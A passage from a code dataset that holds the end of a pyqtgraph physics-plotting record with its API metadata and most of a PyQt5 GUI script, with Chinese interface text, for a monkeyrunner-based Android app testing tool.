\n\t\t\t\t\tself.inter_sum -= 0 if self.inter_cal < 0.0001 else sqrt(self.inter_cal) \n\t\t\t\t\n\t\t\t\tfor q in range(self.rh.min_location_1,glo_var.lambdas_degree):\n\t\t\t\t\tself.inter_cal = pow((self.basic_1 + self.j_inter*self.basic_2),2) - self.j_inter/(glo_var.l*self.lambdas_ys[q]) \n\t\t\t\t\tself.inter_sum += 0 if self.inter_cal < 0.0001 else sqrt(self.inter_cal) \n\t\t\telse :\n\t\t\t\tfor j in range(self.rh.min_location_1):\n\t\t\t\t\tself.inter_cal = pow((self.basic_1 + self.j_inter*self.basic_2),2) - self.j_inter/(glo_var.l*self.lambdas_ys[j]) \n\t\t\t\t\tself.inter_sum += 0 if self.inter_cal < 0.0001 else sqrt(self.inter_cal) \n\t\t\t\t\n\t\t\t\tfor q in range(self.rh.min_location_1,glo_var.lambdas_degree):\n\t\t\t\t\tself.inter_cal = pow((self.basic_1 + self.j_inter*self.basic_2),2) - self.j_inter/(glo_var.l*self.lambdas_ys[q]) \n\t\t\t\t\tself.inter_sum -= 0 if self.inter_cal < 0.0001 else sqrt(self.inter_cal)\n\n\t\t\tself.rho_sum += [self.basic_1 + self.j_inter*self.basic_2 +pow(-1,self.region == 1) * self.inter_sum/glo_var.lambdas_degree]\n\t\t\tself.inter_sum = 0\n", "sub_path": "Research/pyqtgraph pg deleted/jalpha.py", "file_name": "jalpha.py", "file_ext": "py", "file_size_in_byte": 10887, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "glo_var.MyPW", "line_number": 11, "usage_type": "call"}, {"api_name": "glo_var.labelstyle", "line_number": 21, "usage_type": "attribute"}, {"api_name": "glo_var.labelstyle", "line_number": 22, "usage_type": "attribute"}, {"api_name": "glo_var.labelstyle", "line_number": 23, "usage_type": "attribute"}, {"api_name": "glo_var.myaddLegend", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pyqtgraph.PlotItem", "line_number": 29, "usage_type": "call"}, {"api_name": "pyqtgraph.mkPen", "line_number": 38, "usage_type": "call"}, {"api_name": "glo_var.line_width", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pyqtgraph.Qt.QtCore.Qt", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pyqtgraph.Qt.QtCore", "line_number": 38, "usage_type": "name"}, {"api_name": "pyqtgraph.mkPen", "line_number": 39, "usage_type": "call"}, {"api_name": "glo_var.line_width", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pyqtgraph.Qt.QtCore.Qt", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pyqtgraph.Qt.QtCore", "line_number": 39, "usage_type": "name"}, {"api_name": "pyqtgraph.mkPen", "line_number": 40, "usage_type": "call"}, {"api_name": "glo_var.line_width", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pyqtgraph.mkPen", "line_number": 41, "usage_type": "call"}, {"api_name": "glo_var.line_width", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pyqtgraph.Qt.QtGui.QLabel", "line_number": 42, "usage_type": "call"}, {"api_name": "pyqtgraph.Qt.QtGui", "line_number": 42, "usage_type": "name"}, {"api_name": "glo_var.setframe", "line_number": 43, "usage_type": "call"}, {"api_name": "pyqtgraph.Qt.QtGui.QCheckBox", "line_number": 66, "usage_type": "call"}, {"api_name": "pyqtgraph.Qt.QtGui", "line_number": 66, "usage_type": "name"}, {"api_name": "pyqtgraph.Qt.QtGui.QGraphicsProxyWidget", "line_number": 68, "usage_type": "call"}, {"api_name": "pyqtgraph.Qt.QtGui", "line_number": 68, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 79, "usage_type": "call"}, {"api_name": "glo_var.l", "line_number": 79, "usage_type": "attribute"}, {"api_name": "glo_var.beta", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "glo_var.l", "line_number": 89, "usage_type": "attribute"}, {"api_name": "glo_var.beta", "line_number": 93, "usage_type": "attribute"}, {"api_name": "glo_var.beta", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 99, "usage_type": "call"}, {"api_name": "glo_var.beta", "line_number": 106, "usage_type": "attribute"}, {"api_name": "glo_var.beta_star", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pyqtgraph.TextItem", "line_number": 115, "usage_type": "call"}, {"api_name": "pyqtgraph.ArrowItem", "line_number": 117, "usage_type": "call"}, {"api_name": "glo_var.alpha", "line_number": 117, "usage_type": "attribute"}, {"api_name": "glo_var.alpha", "line_number": 120, "usage_type": "attribute"}, {"api_name": "glo_var.alpha", "line_number": 121, "usage_type": "attribute"}, {"api_name": "pyqtgraph.PlotCurveItem", "line_number": 137, "usage_type": "call"}, {"api_name": "pyqtgraph.PlotCurveItem", "line_number": 138, "usage_type": "call"}, {"api_name": "glo_var.beta_star", "line_number": 141, "usage_type": "attribute"}, {"api_name": "glo_var.alpha_star", "line_number": 142, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 143, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 144, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 145, "usage_type": "call"}, {"api_name": "glo_var.lambdas_degree", "line_number": 150, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 162, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 229, "usage_type": "call"}, {"api_name": "glo_var.lambdas", "line_number": 245, "usage_type": "attribute"}, {"api_name": "glo_var.lambdas", "line_number": 247, "usage_type": "attribute"}, {"api_name": "glo_var.lambdas", "line_number": 248, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 249, "usage_type": "call"}, {"api_name": "glo_var.l", "line_number": 249, "usage_type": "attribute"}, {"api_name": "glo_var.beta", "line_number": 250, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 250, "usage_type": "attribute"}, {"api_name": "glo_var.alpha_star", "line_number": 251, "usage_type": "attribute"}, {"api_name": "glo_var.beta_star", "line_number": 252, "usage_type": "attribute"}, {"api_name": "glo_var.alpha", "line_number": 253, "usage_type": "attribute"}, {"api_name": "glo_var.beta", "line_number": 254, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 255, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 263, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 264, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 267, "usage_type": "call"}, {"api_name": "glo_var.beta", "line_number": 269, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 272, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 273, "usage_type": "call"}, {"api_name": "glo_var.lambdas_degree", "line_number": 275, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 276, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 277, "usage_type": "call"}, {"api_name": "glo_var.l", "line_number": 280, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 281, "usage_type": "call"}, {"api_name": "glo_var.lambdas_degree", "line_number": 283, "usage_type": "attribute"}, {"api_name": "glo_var.l", "line_number": 284, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 285, "usage_type": "call"}, {"api_name": "glo_var.lambdas_degree", "line_number": 287, "usage_type": "attribute"}]} {"seq_id": "346979240", "text": "import sys\r\nimport os\r\nnew_path = sys.path[0] + '\\\\monkeys'\r\nsys.path.insert(1,new_path)\r\nimport threading\r\nimport time\r\nimport webbrowser\r\nfrom Test_Ui_Functions import TestUiFunctionsClass as func\r\nfrom Test_Ui_Functions import rangeErrorException\r\nfrom ui_main import Ui_MainWindow\r\nfrom guide_ui import Ui_GuideWindow\r\nfrom test_ui_d.test_ui import Ui_TestWindow\r\nfrom test_ui_d.in_device_infor import Ui_In_dev_infor\r\nfrom test_ui_d.add_test_ui import Ui_Add_test\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow,QMessageBox\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom functools import wraps\r\nfrom datetime import datetime\r\nfrom test_ui_d.add_point import Ui_addPointWindow\r\n\r\nnow_point_index = 1\r\nnow_drag_index = 1\r\nnowp = 1\r\nempty_error_code = 0\r\nnumber_error_code = 1\r\nrange_error_code = 2\r\nresolution_ration_error_code = 3\r\nsomething_else_error_code = 4\r\nhave_not_connect_error_code = 5\r\nnot_successful_connected_error_code = 6\r\n\r\nmin_click_times = 1\r\nmax_click_times = 9999\r\nmin_interval_time = 0.1\r\nmax_interval_time = 99.9\r\nmin_drag_times_number = 1\r\nmax_drag_times_number = 9999\r\nmin_drag_during_time =0.1\r\nmax_drag_during_time = 9.9\r\nmin_drag_interval_time = 0.1\r\nmax_drag_interval_time = 99.9\r\nx_rate = 1024\r\ny_rate = 768\r\nbegin_connect_time = None\r\n'''\r\n 通过装饰器实现一个单例模式\r\n 保证只有一个和窗体类功能类↓\r\n'''\r\ndef singleton(cls):\r\n instances = {}\r\n @wraps(cls)\r\n def getinstance(*args, **kw):\r\n if cls not in instances:\r\n instances[cls] = cls(*args, **kw)\r\n return instances[cls]\r\n return getinstance\r\ndef reset_test_window():\r\n test_window = t_window()\r\n test_window.setupUi(test_window)\r\n test_window.t_init()\r\nclass rangeErrorException(Exception):\r\n def __init__(self):\r\n pass\r\nclass TimeWaitThread(QtCore.QThread):\r\n test_window = None\r\n def __init__(self,t,parent = None):\r\n super(TimeWaitThread,self).__init__(parent)\r\n self.finished.connect(t.wait_about)\r\n def run(self):\r\n self.sleep(10)\r\nclass WaitConnect(QtCore.QThread):\r\n def __init__(self, t, parent=None):\r\n super(WaitConnect, self).__init__(parent)\r\n self.t = t\r\n self.finished.connect(t.after_connect)\r\n def run(self):\r\n self.t.successfully_connect = functions_class.connect()\r\n\r\n\r\nclass WaitMonkeyRunnerStart(QtCore.QThread):\r\n test_window = None\r\n def __init__(self,t,parent = None):\r\n super(WaitMonkeyRunnerStart,self).__init__(parent)\r\n self.finished.connect(t.wait_monkey)\r\n def run(self):\r\n self.sleep(6)\r\n@singleton\r\nclass mywindow(QtWidgets.QMainWindow,Ui_MainWindow):\r\n #successfully_connect = 1\r\n\r\n def __init__(self):\r\n QtWidgets.QMainWindow.__init__(self)\r\n Ui_MainWindow.__init__(self)\r\n self.setupUi(self)\r\n def click_guide_b(self):\r\n #print(\"打开引导界面\")\r\n g_ui.show()\r\n def click_test_b(self):\r\n #print(\"打开测试界面\")\r\n t_ui.t_init()\r\n t_ui.show()\r\n\r\n def click_feedback_b(self):\r\n webbrowser.open(\"https://link.jiandaoyun.com/f/5cb9215b196c2d1d50253635\")\r\n def closeEvent(self,event):\r\n functions_class.close_monkeyrunner()\r\n functions_class.close_model()\r\n #print(\"close window\")\r\n event.accept()\r\n #super(mywindow,self).closeEvent(event)\r\n\r\n@singleton\r\nclass g_window(QtWidgets.QMainWindow,Ui_GuideWindow):\r\n def __init__(self):\r\n QtWidgets.QMainWindow.__init__(self)\r\n Ui_GuideWindow.__init__(self)\r\n self.setupUi(self)\r\n def click_left_b(self):\r\n print(\"引导界面图片左划\")\r\n global nowp\r\n if(nowp == 1):\r\n nowp = 9\r\n else:\r\n nowp = nowp-1\r\n #g_ui.guidePictures.setPixmap(QtGui.QPixmap(\":/gp/\"+str(nowp)+\".png\"))\r\n g_ui.guidePictures.setStyleSheet(\"border-image: url(:/gp/\"+str(nowp)+\".png);\")\r\n if (nowp == 1):\r\n g_ui.textEdit.setText(\"主界面如上图所示。\")\r\n elif(nowp == 2):\r\n g_ui.textEdit.setText(\"打开测试界面，请先等待后台程序启动。然后点击连接按钮。\")\r\n elif(nowp == 3):\r\n g_ui.textEdit.setText(\"点击“输入要测试的APP参数”按钮，输入各项参数。\")\r\n elif (nowp == 4):\r\n g_ui.textEdit.setText(\"点击“选择测试”按钮，例如图中“单点点击测试”。\")\r\n elif (nowp == 5):\r\n g_ui.textEdit.setText(\"这里以“完全随机”测试为例，点击“加入测试队列”按钮，确定测试队列后点击“测试队列创建完成”按钮\")\r\n elif (nowp == 6):\r\n g_ui.textEdit.setText(\"返回到测试界面\")\r\n elif (nowp == 7):\r\n g_ui.textEdit.setText(\"点击“开始测试”按钮，可以看到测试报告栏里已开始记录测试的报告\")\r\n elif (nowp == 8):\r\n g_ui.textEdit.setText(\"如图，检测到异常！\")\r\n elif (nowp == 9):\r\n g_ui.textEdit.setText(\"续上图，已在exception_1.txt文件中记录了本次测试队列。\")\r\n def click_right_b(self):\r\n print(\"引导界面图片右划\")\r\n global nowp\r\n if (nowp == 9):\r\n nowp = 1\r\n else:\r\n nowp = nowp + 1\r\n #g_ui.guidePictures.setPixmap(QtGui.QPixmap(\":/gp/\" + str(nowp) + \".png\"))\r\n g_ui.guidePictures.setStyleSheet(\"border-image: url(:/gp/\"+str(nowp)+\".png);\")\r\n if (nowp == 1):\r\n g_ui.textEdit.setText(\"主界面如上图所示。\")\r\n elif(nowp == 2):\r\n g_ui.textEdit.setText(\"打开测试界面，请先等待后台程序启动。然后点击连接按钮。\")\r\n elif(nowp == 3):\r\n g_ui.textEdit.setText(\"点击“输入要测试的APP参数”按钮，输入各项参数。\")\r\n elif (nowp == 4):\r\n g_ui.textEdit.setText(\"点击“选择测试”按钮，例如图中“单点点击测试”。\")\r\n elif (nowp == 5):\r\n g_ui.textEdit.setText(\"这里以“完全随机”测试为例，点击“加入测试队列”按钮，确定测试队列后点击“测试队列创建完成”按钮\")\r\n elif (nowp == 6):\r\n g_ui.textEdit.setText(\"返回到测试界面\")\r\n elif (nowp == 7):\r\n g_ui.textEdit.setText(\"点击“开始测试”按钮，可以看到测试报告栏里已开始记录测试的报告\")\r\n elif (nowp == 8):\r\n g_ui.textEdit.setText(\"如图，检测到异常！\")\r\n elif (nowp == 9):\r\n g_ui.textEdit.setText(\"续上图，已在exception_1.txt文件中记录了本次测试队列。\")\r\n@singleton\r\nclass t_window(QtWidgets.QMainWindow,Ui_TestWindow):\r\n max_x = 1024\r\n max_y = 768\r\n connect_thread = None\r\n successfully_connect = None\r\n time_counter_thread = None\r\n wait_monkey_thread = None\r\n rate_tuple = None\r\n #begin_connect_time = None\r\n def __init__(self):\r\n QtWidgets.QMainWindow.__init__(self)\r\n Ui_TestWindow.__init__(self)\r\n self.setupUi(self)\r\n self.connectDeviceButton.setEnabled(False)\r\n self.connectDeviceButton.setText('等待相关部件启动')\r\n self.wait_monkey_thread = WaitMonkeyRunnerStart(self)\r\n self.wait_monkey_thread.start()\r\n #self.queueList.itemChanged.connect(self.not_empty_set)\r\n def wait_monkey(self):\r\n self.connectDeviceButton.setEnabled(True)\r\n self.connectDeviceButton.setText('连接设备')\r\n def closeEvent(self,e):\r\n if(self.connectDeviceButton.text() == '连接中...'):\r\n e.ignore()\r\n def after_connect(self):\r\n if (isinstance(self.successfully_connect, tuple)):\r\n self.max_x = int(self.successfully_connect[0])\r\n self.max_y = int(self.successfully_connect[1])\r\n # self.rate_tuple = self.su\r\n self.InputAssignmentButton.setEnabled(True)\r\n self.connectDeviceButton.setEnabled(False)\r\n self.loadButton.setEnabled(True)\r\n self.connectDeviceButton.setText('已成功连接')\r\n # self.connectDeviceButton.setText(\"重新连接\")\r\n elif (self.successfully_connect == False):\r\n self.connectDeviceButton.setEnabled(True)\r\n # self.successfully_connect = None\r\n self.connectDeviceButton.setText('重新连接')\r\n def wait_about(self):\r\n if(self.successfully_connect == None):\r\n QMessageBox.about(self,'提示','连接时间过长，请检查您的环境配置和连接状态')\r\n self.connectDeviceButton.setEnabled(True)\r\n self.successfully_connect = None\r\n self.connectDeviceButton.setText('重新连接')\r\n\r\n def set_rate(self,x,y):\r\n global x_rate\r\n x_rate = x\r\n global y_rate\r\n y_rate = y\r\n self.max_x = x\r\n self.max_y = y\r\n def not_empty_set(self):\r\n if(self.queueList.count() == 0):\r\n self.saveButton.setEnabled(False)\r\n self.loadButton.setEnabled(True)\r\n else:\r\n self.loadButton.setEnabled(False)\r\n self.saveButton.setEnabled(True)\r\n self.startButton.setEnabled(True)\r\n def click_in_index_b(self):\r\n i_d_window = in_dev_infor()\r\n i_d_window.xPositionValue.setPlaceholderText('手机分辨率:'+ str(self.max_x))\r\n i_d_window.yPositionValue.setPlaceholderText('手机分辨率:'+ str(self.max_y))\r\n #print(\"点击 输入app参数 按钮\")\r\n i_d_ui.show()\r\n def click_add_test(self):\r\n #print(\"点击 选择测试类型 按钮\")\r\n # a_t_ui.now_point_num.hide()\r\n a_t_ui.v_m_touch_point_num.setProperty(\"value\", 1)\r\n a_t_ui.v_m_touch_point_num.show()\r\n a_t_ui.confirmMultiTouchTestButton.show()\r\n\r\n '''a_t_ui.now_drag_num.hide()\r\n a_t_ui.v_m_drag_num.setProperty(\"value\", 1)\r\n a_t_ui.v_m_drag_num.show()'''\r\n #a_t_ui.confirm_m_drag_n_b.show()\r\n a_t_ui.confirmMultiDragButton.show()\r\n a_t_ui.show()\r\n def click_add_point_b(self):\r\n a_p_ui.show()\r\n\r\n def t_init(self):\r\n t_ui.loadButton.show()\r\n t_ui.saveButton.show()\r\n t_ui.startButton.show()\r\n t_ui.pauseButton.hide()\r\n t_ui.resumeButton.hide()\r\n t_ui.stopButton.hide()\r\n #t_ui.InputAssignmentButton.setEnabled(True)\r\n \r\n t_ui.chooseTypeButton.setEnabled(False)\r\n '''\r\n if debug\r\n '''\r\n #t_ui.chooseTypeButton.setEnabled(True)\r\n def thread_waitingfor_connect(self):\r\n while(self.successfully_connect == None ):\r\n self.successfully_connect = functions_class.connect()\r\n if(isinstance(self.successfully_connect,tuple)):\r\n test_window = t_window()\r\n self.max_x = int(self.successfully_connect[0])\r\n self.max_y = int(self.successfully_connect[1])\r\n #self.rate_tuple = self.su\r\n self.InputAssignmentButton.setEnabled(True)\r\n self.connectDeviceButton.setEnabled(False)\r\n self.loadButton.setEnabled(True)\r\n self.connectDeviceButton.setText('已成功连接')\r\n break\r\n #self.connectDeviceButton.setText(\"重新连接\")\r\n elif(self.successfully_connect == False):\r\n self.connectDeviceButton.setEnabled(True)\r\n #self.successfully_connect = None\r\n self.connectDeviceButton.setText('重新连接')\r\n break\r\n \r\n\r\n '''点击连接设备按钮'''\r\n def click_connect_b(self):\r\n #print(\"点击连接设备按钮\")\r\n\r\n self.connectDeviceButton.setText('连接中...')\r\n self.connectDeviceButton.setEnabled(False)\r\n\r\n '''self.connect_thread = threading.Thread(target = self.thread_waitingfor_connect)'''\r\n self.connect_thread = WaitConnect(self)\r\n self.connect_thread.start()\r\n\r\n self.time_counter_thread = TimeWaitThread(self)\r\n self.time_counter_thread.start()\r\n\r\n #elf.connectDeviceButton.setEnabled(()\r\n\r\n\r\n def click_load_b(self):\r\n test_window = t_window()\r\n print(\"点击读档按钮\")\r\n functions_class.load()\r\n if(test_window.queueList.count() == 0):\r\n test_window.saveButton.setEnabled(False)\r\n test_window.loadButton.setEnabled(True)\r\n else:\r\n test_window.loadButton.setEnabled(False)\r\n test_window.saveButton.setEnabled(True)\r\n test_window.startButton.setEnabled(True)\r\n def click_save_b(self):\r\n print(\"点击存档按钮\")\r\n functions_class.save()\r\n def click_start_b(self):\r\n self.chooseTypeButton.setEnabled((False))\r\n functions_class.start()\r\n print(\"点击开始按钮\")\r\n def click_pause_b(self):\r\n self.pauseButton.setEnabled(False)\r\n functions_class.pause()\r\n self.resumeButton.setEnabled(True)\r\n #functions_class.test_found_exception()\r\n print(\"点击暂停按钮\")\r\n def click_resume_b(self):\r\n self.resumeButton.setEnabled(False)\r\n functions_class.resume()\r\n self.pauseButton.setEnabled(True)\r\n\r\n print(\"点击继续按钮\")\r\n def click_stop_b(self):\r\n if(self.stopButton.text() == '退出'):\r\n main_window = mywindow()\r\n main_window.close()\r\n self.close()\r\n self.chooseTypeButton.setEnabled((True))\r\n functions_class.stop()\r\n print(\"点击终止按钮\")\r\n@singleton\r\nclass in_dev_infor(QtWidgets.QDialog,Ui_In_dev_infor):\r\n has_finished = 0\r\n def __init__(self):\r\n QtWidgets.QDialog.__init__(self)\r\n Ui_In_dev_infor.__init__(self)\r\n self.setupUi(self)\r\n def click_fin_b(self):\r\n try:\r\n x_rate_value = int(self.xPositionValue.text())\r\n y_rate_value = int(self.yPositionValue.text())\r\n if not functions_class.judge_input_ration(x_rate_value,y_rate_value):\r\n raise rangeErrorException\r\n functions_class.set_monkey_ration(x_rate_value,y_rate_value)\r\n test_window = t_window()\r\n test_window.set_rate(x_rate_value,y_rate_value)\r\n if(self.packageNameValue.text() != '' and self.PackageActivityName.text() != ''):\r\n functions_class.open_app(self.packageNameValue.text(),self.PackageActivityName.text())\r\n if(i_d_ui.has_finished == 0):\r\n test_window.InputAssignmentButton.setText('重新输入')\r\n test_window.chooseTypeButton.setEnabled(True)\r\n\r\n self.has_finished = 1\r\n except ValueError:\r\n functions_class.error_message_prompt(self,empty_error_code)\r\n #reset_test_window()\r\n except rangeErrorException:\r\n functions_class.error_message_prompt(self,functions_class.logic_error_code,\"分辨率超出手机本身分辨率：\")\r\n '''test_window.loadButton.setEnabled(True)\r\n test_window.saveButton.setEnabled(True)\r\n test_window.startButton.setEnabled(True)'''\r\n self.close()\r\n #print(\"参数信息输入完毕\")\r\n@singleton\r\nclass add_test(QtWidgets.QDialog,Ui_Add_test):\r\n points_list_touch =None#初始化\r\n points_list_drag = None\r\n \r\n def __init__(self):\r\n\r\n QtWidgets.QDialog.__init__(self)\r\n\r\n Ui_Add_test.__init__(self)\r\n\r\n self.setupUi(self)\r\n #self.currentQueueList.clear()\r\n self.setFixedSize(self.width(),self.height())\r\n self.currentQueueList.setDragDropMode(self.currentQueueList.InternalMove)\r\n self.pointSelectComboBox.currentIndexChanged.connect(self.change_final_point_button_text)\r\n self.dragSelectComboBox.currentIndexChanged.connect(self.change_multi_drag_comboxBox)\r\n self.currentQueueList.clear()\r\n\r\n def delete_current_row(self):\r\n if(self.currentQueueList.count() == 0):\r\n return\r\n row = a_t_ui.currentQueueList.currentRow()\r\n if(row == -1):\r\n return\r\n #index = self.currentQueueList.currentIndex()\r\n print(\"删除第\"+str(row+1)+\"条测试\")\r\n functions_class.delete_from_queue(row + 1)\r\n a_t_ui.currentQueueList.takeItem(row)\r\n #多点点击测试\r\n '''多点点击测试选项卡下的\r\n 确定并加输入下一点 按钮\r\n 先读取当前输入框内的内容\r\n 按下按钮后 左边comboBox变为下一个点 然后继续输入\r\n 如果已经是最后一个点 按钮文本变为\"确定\"\r\n '''\r\n def mul_touch_next_p(self):\r\n functions_class.mul_touch_next_p()\r\n '''\r\n 多点测试的确定按钮\r\n 按下以后 按钮文本变为“修改”\r\n 同时左侧的文本框不可选定 直到再按下按钮\r\n 设置点个数以后 下一行的comboBox里出现与个数相同的item 同时右边的按钮变为enbale\r\n '''\r\n def confirm_m_touch_p_num(self):\r\n #a_t_ui.now_point_num.setText(a_t_ui.v_m_touch_point_num.text())\r\n if(self.confirmMultiTouchTestButton.text() == '确定'):\r\n self.multiTouchNextPointButton.setEnabled(True)\r\n self.v_m_touch_point_num.setEnabled(False)\r\n self.confirmMultiTouchTestButton.setText('修改')\r\n self.pointSelectComboBox.clear()\r\n point_num = int(self.v_m_touch_point_num.text())\r\n self.points_list_touch = [(-1,-1) for p in range(point_num)]\r\n for i in range(1,point_num + 1):\r\n self.pointSelectComboBox.addItem(\"第%d点（未设置）\"%i)\r\n else:\r\n self.confirmMultiTouchTestButton.setText('确定')\r\n self.v_m_touch_point_num.setEnabled(True)\r\n def reset_point_no(self):\r\n self.pointSelectComboBox.clear()\r\n self.pointSelectComboBox.addItem('未确认点的个数')\r\n self.confirmMultiTouchTestButton.setText('确定')\r\n self.multiTouchNextPointButton.setText('确定并输入下一个点')\r\n self.v_m_touch_point_num.setEnabled(True)\r\n self.multiTouchNextPointButton.setEnabled(False)\r\n\r\n #多端滑动测试\r\n\r\n '''多点点击测试选项卡下的\r\n 确定并加输入下一点 按钮\r\n 先读取当前输入框内的内容\r\n 按下按钮后 左边comboBox变为下一个点 然后继续输入\r\n 如果已经是最后一个点 按钮文本变为\"确定\"\r\n '''\r\n def mul_drag_next_l(self):\r\n\r\n '''global now_drag_index #注意\r\n if(now_drag_index < int(a_t_ui.now_drag_num.text())):\r\n now_drag_index = now_drag_index + 1\r\n text1 = \"第\" + str(now_drag_index)+\"次滑动起点坐标:(X,Y)\"\r\n text2 = \"第\" + str(now_drag_index) + \"次滑动终点坐标:(X,Y)\"\r\n a_t_ui.m_drag_start_p.setText(text1)\r\n a_t_ui.m_drag_end_p.setText(text2)'''\r\n functions_class.mul_drag_next_P()\r\n def change_final_point_button_text(self):\r\n if(self.pointSelectComboBox.count() == 0 or self.pointSelectComboBox.currentText == '未确认点的个数'):\r\n return\r\n if(self.pointSelectComboBox.currentIndex() == self.pointSelectComboBox.count() - 1):\r\n self.multiTouchNextPointButton.setText('确定')\r\n else:\r\n self.multiTouchNextPointButton.setText('确定并输入下一个点')\r\n def change_multi_drag_comboxBox(self):\r\n if(self.dragSelectComboBox.count() == 0 or self.dragSelectComboBox.currentText() == '待输入'):\r\n return\r\n if(not '待输入' in self.dragSelectComboBox.currentText()):\r\n points = self.points_list_drag\r\n index = self.dragSelectComboBox.currentIndex()\r\n self.v_m_drag_start_p_x.setText(str(points[index][0][0]))\r\n self.v_m_drag_start_p_y.setText(str(points[index][0][1]))\r\n self.v_m_drag_end_p_x.setText(str(points[index][1][0]))\r\n self.v_m_drag_end_p_y.setText(str(points[index][1][1]))\r\n else:\r\n self.v_m_drag_start_p_x.clear()\r\n self.v_m_drag_start_p_y.clear()\r\n self.v_m_drag_end_p_x.clear()\r\n self.v_m_drag_end_p_y.clear()\r\n if(self.dragSelectComboBox.currentIndex() == self.dragSelectComboBox.count() - 1):\r\n self.multiDragNextButton.setText('确定')\r\n else:\r\n self.multiDragNextButton.setText('确定并输入下次滑动')\r\n '''\r\n 点击多线滑动的确定按钮\r\n 和多点点击类似\r\n 使左侧不可修改\r\n '''\r\n def confirm_m_drag_num(self):\r\n #a_t_ui.now_drag_num.setText(a_t_ui.v_m_drag_num.text())\r\n if(self.confirmMultiDragButton.text() == '确定'):\r\n self.confirmMultiDragButton.setEnabled(True)\r\n self.v_m_drag_num.setEnabled(False)\r\n self.confirmMultiDragButton.setText('修改')\r\n self.dragSelectComboBox.clear()\r\n drag_num = int(self.v_m_drag_num.text())\r\n self.points_list_drag = [((-1,-1),(-1,-1)) for p in range(drag_num)]\r\n for i in range(1,drag_num + 1):\r\n self.dragSelectComboBox.addItem(\"待输入滑动%d\"%i)\r\n self.multiDragNextButton.setEnabled(True)\r\n else:\r\n self.confirmMultiDragButton.setText('确定')\r\n self.v_m_drag_num.setEnabled(True)\r\n def reset_drag_no(self):\r\n self.dragSelectComboBox.clear()\r\n self.dragSelectComboBox.addItem('待输入')\r\n self.multiDragNextButton.setText('确定并输入下一个点')\r\n\r\n self.confirmMultiDragButton.setText('确定')\r\n self.v_m_drag_num.setEnabled(True)\r\n self.multiDragNextButton.setEnabled(False)\r\n\r\n def add_new_test_b(self):\r\n test_w = t_window()\r\n test_w.InputAssignmentButton.setEnabled(False)\r\n if(a_t_ui.tabWidget.currentIndex() == 0):\r\n #print(\"加入单点点击测试\")\r\n functions_class.add_single_point_test()\r\n elif(a_t_ui.tabWidget.currentIndex() == 1):\r\n #print(\"加入单点长按测试\")\r\n functions_class.add_single_long_touch_test()\r\n elif (a_t_ui.tabWidget.currentIndex() == 2):\r\n functions_class.multi_touch_test()\r\n #print(\"加入多点点击测试\")\r\n elif (a_t_ui.tabWidget.currentIndex() == 3):\r\n functions_class.random_touch_test()\r\n #print(\"加入随机点击测试\")\r\n elif (a_t_ui.tabWidget.currentIndex() == 4):\r\n functions_class.drag_test()\r\n #print(\"加入单线滑动测试\")\r\n elif (a_t_ui.tabWidget.currentIndex() == 5):\r\n functions_class.multi_drag_test()\r\n #print(\"加入多线滑动测试\")\r\n elif (a_t_ui.tabWidget.currentIndex() == 6):\r\n functions_class.random_drag_test()\r\n #print(\"加入随机滑动测试\")\r\n elif (a_t_ui.tabWidget.currentIndex() == 7):\r\n functions_class.long_touch_drag_test()\r\n #print(\"加入长按滑动测试\")\r\n elif(self.tabWidget.currentIndex() == 8):\r\n functions_class.all_random_test()\r\n def update_queue_lists(self):\r\n test_window = t_window()\r\n queue_items = [self.currentQueueList.item(i).text() for i in range(self.currentQueueList.count())]\r\n #test_window.queueList.setFocus(True)\r\n test_window.tabWidget.setCurrentIndex(0)\r\n test_window.queueList.addItems(queue_items)\r\n def fin_queue_edit(self):\r\n test_window = t_window()\r\n #print(\"队列输入完毕\")\r\n self.update_queue_lists()\r\n if(test_window.queueList.count() == 0):\r\n test_window.saveButton.setEnabled(False)\r\n test_window.loadButton.setEnabled(True)\r\n else:\r\n test_window.loadButton.setEnabled(False)\r\n test_window.saveButton.setEnabled(True)\r\n test_window.startButton.setEnabled(True)\r\n self.currentQueueList.clear()\r\n a_t_ui.close()\r\n\r\n@singleton\r\nclass a_p_window(QtWidgets.QDialog,Ui_addPointWindow):\r\n global functions_class\r\n def __init__(self):\r\n QtWidgets.QDialog.__init__(self)\r\n Ui_addPointWindow.__init__(self)\r\n self.setupUi(self)\r\n def click_ap_b(self):\r\n functions_class.refresh()\r\n a_p_window.label.setPixmap(QtGui.QPixmap(\"refreshshot.png\"))\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n global functions_class\r\n\r\n app = QApplication(sys.argv)\r\n ui = mywindow()\r\n g_ui = 